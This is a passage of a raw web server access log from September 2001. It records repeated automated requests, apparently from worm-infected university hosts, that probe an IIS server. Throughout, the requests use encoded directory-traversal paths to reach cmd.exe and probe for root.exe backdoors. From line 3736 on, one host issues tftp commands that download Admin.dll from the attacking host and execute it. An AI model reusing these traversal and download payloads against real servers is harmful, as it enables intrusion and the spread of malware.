  3642. 20010918 13:42:19: tfh-office.phys.columbia.edu [128.59.132.194] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3643. 20010918 13:42:19: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3644. 20010918 13:42:19: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3645. 20010918 13:42:19: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3646. 20010918 13:42:19: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3647. 20010918 13:42:19: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3648. 20010918 13:42:19: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3649. 20010918 13:42:19:  [128.171.166.37] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3650. 20010918 13:42:38: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3651. 20010918 13:42:38: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3652. 20010918 13:42:38:  [128.171.166.37] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3653. 20010918 13:42:56:  [128.171.166.37] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3654. 20010918 13:43:15:  [128.171.166.37] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3655. 20010918 13:43:33: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  3656. 20010918 13:44:45: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  3657. 20010918 13:44:45: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3658. 20010918 13:44:45: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3659. 20010918 13:44:45: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3660. 20010918 13:44:46: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3661. 20010918 13:44:46: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3662. 20010918 13:44:46: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3663. 20010918 13:44:46: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3664. 20010918 13:44:46: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3665. 20010918 13:44:46: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3666. 20010918 13:44:46: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3667. 20010918 13:44:46: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3668. 20010918 13:44:46: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3669. 20010918 13:44:46: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3670. 20010918 13:44:46: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3671. 20010918 13:44:46: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  3672. 20010918 13:45:07: sql-server.jrn.columbia.edu [128.59.96.106] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  3673. 20010918 13:45:07: sql-server.jrn.columbia.edu [128.59.96.106] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3674. 20010918 13:45:07: sql-server.jrn.columbia.edu [128.59.96.106] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3675. 20010918 13:45:07: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3676. 20010918 13:45:07: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3677. 20010918 13:45:07: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3678. 20010918 13:45:07: sql-server.jrn.columbia.edu [128.59.96.106] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3679. 20010918 13:45:07: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3680. 20010918 13:45:07: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3681. 20010918 13:45:07: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3682. 20010918 13:45:07: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3683. 20010918 13:45:07: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3684. 20010918 13:45:07: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3685. 20010918 13:45:07: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3686. 20010918 13:45:08: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3687. 20010918 13:45:08: itboss.syr.edu [128.230.182.161] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  3688. 20010918 13:46:30: itboss.syr.edu [128.230.182.161] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  3689. 20010918 13:46:31: itboss.syr.edu [128.230.182.161] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3690. 20010918 13:46:31: itboss.syr.edu [128.230.182.161] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3691. 20010918 13:46:31: itboss.syr.edu [128.230.182.161] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3692. 20010918 13:46:31: itboss.syr.edu [128.230.182.161] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3693. 20010918 13:46:31: itboss.syr.edu [128.230.182.161] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3694. 20010918 13:46:31: itboss.syr.edu [128.230.182.161] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3695. 20010918 13:46:31: itboss.syr.edu [128.230.182.161] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3696. 20010918 13:46:31: itboss.syr.edu [128.230.182.161] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3697. 20010918 13:46:31: itboss.syr.edu [128.230.182.161] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3698. 20010918 13:46:31: itboss.syr.edu [128.230.182.161] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3699. 20010918 13:46:31: itboss.syr.edu [128.230.182.161] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3700. 20010918 13:46:31: itboss.syr.edu [128.230.182.161] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3701. 20010918 13:46:32: itboss.syr.edu [128.230.182.161] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3702. 20010918 13:46:32: itboss.syr.edu [128.230.182.161] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3703. 20010918 13:46:32: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  3704. 20010918 13:46:55: ecom.gsb.columbia.edu [128.59.205.95] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  3705. 20010918 13:46:55: ecom.gsb.columbia.edu [128.59.205.95] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3706. 20010918 13:46:56: ecom.gsb.columbia.edu [128.59.205.95] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3707. 20010918 13:46:56: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3708. 20010918 13:46:56: ecom.gsb.columbia.edu [128.59.205.95] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3709. 20010918 13:46:56: ecom.gsb.columbia.edu [128.59.205.95] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3710. 20010918 13:46:56: ecom.gsb.columbia.edu [128.59.205.95] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3711. 20010918 13:46:56: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3712. 20010918 13:46:56: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3713. 20010918 13:46:56: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3714. 20010918 13:46:56: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3715. 20010918 13:46:56: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3716. 20010918 13:46:56: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3717. 20010918 13:46:56: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3718. 20010918 13:46:56: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3719. 20010918 13:46:56: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  3720. 20010918 13:51:07: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  3721. 20010918 13:51:07: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3722. 20010918 13:51:07: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3723. 20010918 13:51:07: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3724. 20010918 13:51:07: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3725. 20010918 13:51:07: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3726. 20010918 13:51:07: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3727. 20010918 13:51:07: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3728. 20010918 13:51:07: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3729. 20010918 13:51:07: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3730. 20010918 13:51:07: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3731. 20010918 13:51:07: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3732. 20010918 13:51:07: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3733. 20010918 13:51:07: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3734. 20010918 13:51:07: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3735. 20010918 13:51:08: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  3736. 20010918 13:51:29: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/root.exe?/c+tftp%20-i%20128.59.205.95%20GET%20Admin.dll%20Admin.dll HTTP/1.0"
  3737. 20010918 13:51:29: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/Admin.dll HTTP/1.0"
  3738. 20010918 13:51:29: ecom.gsb.columbia.edu [128.59.205.95] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  3739. 20010918 13:51:29: ecom.gsb.columbia.edu [128.59.205.95] "GET /MSADC/root.exe?/c+tftp%20-i%20128.59.205.95%20GET%20Admin.dll%20Admin.dll HTTP/1.0"
  3740. 20010918 13:51:29: ecom.gsb.columbia.edu [128.59.205.95] "GET /MSADC/Admin.dll HTTP/1.0"
  3741. 20010918 13:51:29: ecom.gsb.columbia.edu [128.59.205.95] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3742. 20010918 13:51:29: ecom.gsb.columbia.edu [128.59.205.95] "GET /c/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.205.95%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  3743. 20010918 13:51:29: ecom.gsb.columbia.edu [128.59.205.95] "GET /c/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.205.95%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  3744. 20010918 13:51:29: ecom.gsb.columbia.edu [128.59.205.95] "GET /c/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.205.95%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  3745. 20010918 13:51:29: ecom.gsb.columbia.edu [128.59.205.95] "GET /c/Admin.dll HTTP/1.0"
  3746. 20010918 13:51:29: ecom.gsb.columbia.edu [128.59.205.95] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3747. 20010918 13:51:29: ecom.gsb.columbia.edu [128.59.205.95] "GET /d/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.205.95%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  3748. 20010918 13:51:29: ecom.gsb.columbia.edu [128.59.205.95] "GET /d/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.205.95%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  3749. 20010918 13:51:29: ecom.gsb.columbia.edu [128.59.205.95] "GET /d/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.205.95%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  3750. 20010918 13:51:29: ecom.gsb.columbia.edu [128.59.205.95] "GET /d/Admin.dll HTTP/1.0"
  3751. 20010918 13:51:29: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3752. 20010918 13:51:29: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.205.95%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  3753. 20010918 13:51:29: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.205.95%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  3754. 20010918 13:51:29: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.205.95%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  3755. 20010918 13:51:30: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%255c../Admin.dll HTTP/1.0"
  3756. 20010918 13:51:30: ecom.gsb.columbia.edu [128.59.205.95] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3757. 20010918 13:51:30: ecom.gsb.columbia.edu [128.59.205.95] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.205.95%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  3758. 20010918 13:51:30: ecom.gsb.columbia.edu [128.59.205.95] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.205.95%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  3759. 20010918 13:51:30: ecom.gsb.columbia.edu [128.59.205.95] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.205.95%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  3760. 20010918 13:51:30: ecom.gsb.columbia.edu [128.59.205.95] "GET /_vti_bin/..%255c../..%255c../..%255c../Admin.dll HTTP/1.0"
  3761. 20010918 13:51:30: ecom.gsb.columbia.edu [128.59.205.95] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3762. 20010918 13:51:30: ecom.gsb.columbia.edu [128.59.205.95] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.205.95%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  3763. 20010918 13:51:30: ecom.gsb.columbia.edu [128.59.205.95] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.205.95%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  3764. 20010918 13:51:30: ecom.gsb.columbia.edu [128.59.205.95] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.205.95%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  3765. 20010918 13:51:30: ecom.gsb.columbia.edu [128.59.205.95] "GET /_mem_bin/..%255c../..%255c../..%255c../Admin.dll HTTP/1.0"
  3766. 20010918 13:51:30: ecom.gsb.columbia.edu [128.59.205.95] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3767. 20010918 13:51:30: ecom.gsb.columbia.edu [128.59.205.95] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.205.95%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  3768. 20010918 13:51:30: ecom.gsb.columbia.edu [128.59.205.95] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.205.95%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  3769. 20010918 13:51:31: ecom.gsb.columbia.edu [128.59.205.95] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.205.95%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  3770. 20010918 13:51:31: ecom.gsb.columbia.edu [128.59.205.95] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../Admin.dll HTTP/1.0"
  3771. 20010918 13:51:31: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3772. 20010918 13:51:31: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.205.95%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  3773. 20010918 13:51:31: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.205.95%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  3774. 20010918 13:51:31: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.205.95%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  3775. 20010918 13:51:31: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c1%1c../Admin.dll HTTP/1.0"
  3776. 20010918 13:51:31: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3777. 20010918 13:51:31: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.205.95%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  3778. 20010918 13:51:31: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.205.95%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  3779. 20010918 13:51:31: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.205.95%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  3780. 20010918 13:51:31: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c0%2f../Admin.dll HTTP/1.0"
  3781. 20010918 13:51:32: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3782. 20010918 13:51:32: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.205.95%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  3783. 20010918 13:51:32: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.205.95%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  3784. 20010918 13:51:32: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.205.95%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  3785. 20010918 13:51:32: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c0%af../Admin.dll HTTP/1.0"
  3786. 20010918 13:51:32: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3787. 20010918 13:51:32: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.205.95%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  3788. 20010918 13:51:32: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.205.95%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  3789. 20010918 13:51:32: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.205.95%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  3790. 20010918 13:51:32: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c1%9c../Admin.dll HTTP/1.0"
  3791. 20010918 13:51:32: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3792. 20010918 13:51:32: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.205.95%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  3793. 20010918 13:51:32: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.205.95%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  3794. 20010918 13:51:32: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.205.95%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  3795. 20010918 13:51:32: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%%35%63../Admin.dll HTTP/1.0"
  3796. 20010918 13:51:32: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3797. 20010918 13:51:32: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.205.95%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  3798. 20010918 13:51:32: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.205.95%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  3799. 20010918 13:51:33: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.205.95%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  3800. 20010918 13:51:33: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%%35c../Admin.dll HTTP/1.0"
  3801. 20010918 13:51:33: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  3802. 20010918 13:51:33: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.205.95%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  3803. 20010918 13:51:34: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.205.95%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  3804. 20010918 13:51:34: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.205.95%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  3805. 20010918 13:51:34: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%25%35%63../Admin.dll HTTP/1.0"
